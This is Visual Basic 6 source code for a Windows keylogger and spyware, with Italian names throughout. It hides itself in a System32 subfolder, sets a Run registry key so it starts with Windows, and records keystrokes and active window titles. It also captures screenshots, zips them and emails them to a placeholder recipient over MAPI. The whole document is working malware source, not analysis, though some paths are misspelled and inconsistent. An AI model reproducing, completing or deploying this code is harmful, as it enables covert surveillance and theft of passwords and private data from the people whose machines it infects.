Private Declare Function movefile Lib "kernel32" Alias "MoveFileA" (ByVal IpExistingFileName As String, ByVal IpnewfileName As String) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const VK_SNAPSHOT = &H2C
Dim foreground_hwnd As Long
Dim txt As String
Dim length As Long
Dim result As Integer
Dim log As String
Dim PicturePath As String
Dim oZip As CGZipFiles
Private Sub Form_Load()
On Error Resume Next
PicturePath = "C:\Windows\System32\SistemPicture"
log = "C:\Windows\Log.txt"
MkDir PicturePath
movefile App.Path & "\" & App.EXEName & ".exe", "C:\WINDOWS\System32\SystemPicture\" & App.EXEName & ".exe"
Path = "C\WINDOWS\Sistem32\SystemPicture\Picture.exe"
Call savestring(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", Explorer.exe, Path)
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Keylogger
DoEvents
End Sub
Private Sub timer2_timer()
On Error Resume Next
ZipFile
Email
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
CatturaSchermo
End Sub
Public Sub CatturaSchermo()
On Error Resume Next
Picture1.Picture = Clipboard.GetData
DoEvents
keybd_event VK_SNAPSHOT, 0, 0, 0
DoEvents
Call SavePicture(Picture1, "C:\WINDOWS\System32\SystemPicture\" & Time & ".jpg")
End Sub
Public Sub Keylogger()
On Error Resume Next
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
foreground_hwnd = GetForegroundWindow()
txt = Space$(1024)
length = GetWindowText(foreground_hwnd, txt, Len(txt))
txt = Left$(txt, length)
lblCaption.Text = txt
End Sub
Public Sub Email()
On Error Resume Next
With MAPSESS
.DownLoadMail = False
.UserName = "mittente"
.Password = "pw mittente"
.LogonUI = True
.SignOn
.NewSession = True
bNewSession = .NewSession
MAPMESS.SessionID = .SessionID
End With
MAPMESS.MsgIndex = -1
MAPMESS.Compose
MAPMESS.RecipDisplayName = "destinatario"
MAPMESS.AttachmentIndex = 0
MAPMESS.AttachmentPathName = App.Path & "*.zip"
MAPMESS.RecipAddress = "SMTP:" & "destinatario"
MAPMESS.MsgSubject = "oggetto"
MAPMESS.MsgNoteText = "testo del messaggio"
MAPMESS.Send False
End Sub
Public Sub ZipFile()
Set oZip = New CGZipFiles
oZip.ZipFileName = "C:\WINDOWS\SystemPicture\" & Time & ".zip"
oZip.AddFile "C:\WINDOWS\SystemPicture\*.*"
oZip.AddFile "C:\WINDOWS\Log.txt"
Set oZip = Nothing
End Sub
